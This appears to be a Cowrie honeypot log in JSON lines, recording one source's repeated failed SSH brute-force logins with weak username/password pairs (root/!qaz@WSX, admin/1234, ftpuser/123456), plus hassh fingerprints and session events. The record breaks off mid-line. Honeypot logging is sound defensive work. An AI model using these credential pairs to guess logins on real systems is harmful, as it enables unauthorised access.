{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:53.817266Z","src_ip":"192.109.200.78","session":"00e3c7f8ae0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:54.061000Z","src_ip":"192.109.200.78","session":"00e3c7f8ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:55.147920Z","src_ip":"192.109.200.78","session":"00e3c7f8ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33842,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b05bdef3e1f","protocol":"ssh","message":"New connection: 192.109.200.78:33842 (10.17.0.5:22) [session: 6b05bdef3e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:57.161191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:57.165586Z","src_ip":"192.109.200.78","session":"6b05bdef3e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:57.247553Z","src_ip":"192.109.200.78","session":"6b05bdef3e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:57.496646Z","src_ip":"192.109.200.78","session":"6b05bdef3e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:58.582855Z","src_ip":"192.109.200.78","session":"6b05bdef3e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33856,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfed4c4d9a5","protocol":"ssh","message":"New connection: 192.109.200.78:33856 (10.17.0.5:22) [session: 4cfed4c4d9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:00.511021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:00.602479Z","src_ip":"192.109.200.78","session":"4cfed4c4d9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:00.606022Z","src_ip":"192.109.200.78","session":"4cfed4c4d9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:01.037938Z","src_ip":"192.109.200.78","session":"4cfed4c4d9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:02.125394Z","src_ip":"192.109.200.78","session":"4cfed4c4d9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37568,"dst_ip":"10.17.0.5","dst_port":22,"session":"825916d32306","protocol":"ssh","message":"New connection: 192.109.200.78:37568 (10.17.0.5:22) [session: 825916d32306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:04.185395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:04.190071Z","src_ip":"192.109.200.78","session":"825916d32306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:04.272184Z","src_ip":"192.109.200.78","session":"825916d32306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:04.520389Z","src_ip":"192.109.200.78","session":"825916d32306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:05.604655Z","src_ip":"192.109.200.78","session":"825916d32306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37590,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e6ee35393d","protocol":"ssh","message":"New connection: 192.109.200.78:37590 (10.17.0.5:22) [session: 51e6ee35393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:07.699470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:07.706389Z","src_ip":"192.109.200.78","session":"51e6ee35393d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:07.788095Z","src_ip":"192.109.200.78","session":"51e6ee35393d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:08.043014Z","src_ip":"192.109.200.78","session":"51e6ee35393d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:09.257599Z","src_ip":"192.109.200.78","session":"51e6ee35393d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54204,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4348c5e0367","protocol":"telnet","message":"New connection: 172.81.62.90:54204 (159.203.135.109:23) [session: f4348c5e0367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:10.745915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37600,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2026d5295f1","protocol":"ssh","message":"New connection: 192.109.200.78:37600 (10.17.0.5:22) [session: d2026d5295f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:11.084636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:11.088761Z","src_ip":"192.109.200.78","session":"d2026d5295f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:11.169754Z","src_ip":"192.109.200.78","session":"d2026d5295f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:11.463398Z","src_ip":"192.109.200.78","session":"d2026d5295f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:12.547921Z","src_ip":"192.109.200.78","session":"d2026d5295f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55094,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f53e1241c27","protocol":"ssh","message":"New connection: 192.109.200.78:55094 (10.17.0.5:22) [session: 5f53e1241c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:14.777452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:14.787119Z","src_ip":"192.109.200.78","session":"5f53e1241c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:14.859637Z","src_ip":"192.109.200.78","session":"5f53e1241c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:15.177908Z","src_ip":"192.109.200.78","session":"5f53e1241c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:16.261614Z","src_ip":"192.109.200.78","session":"5f53e1241c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55104,"dst_ip":"10.17.0.5","dst_port":22,"session":"21eccbe89827","protocol":"ssh","message":"New connection: 192.109.200.78:55104 (10.17.0.5:22) [session: 21eccbe89827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:18.215405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:18.219450Z","src_ip":"192.109.200.78","session":"21eccbe89827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:18.303626Z","src_ip":"192.109.200.78","session":"21eccbe89827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:18.553791Z","src_ip":"192.109.200.78","session":"21eccbe89827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:19.637527Z","src_ip":"192.109.200.78","session":"21eccbe89827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55116,"dst_ip":"10.17.0.5","dst_port":22,"session":"4714e9f3cdde","protocol":"ssh","message":"New connection: 192.109.200.78:55116 (10.17.0.5:22) [session: 4714e9f3cdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:21.688116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:21.692373Z","src_ip":"192.109.200.78","session":"4714e9f3cdde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes1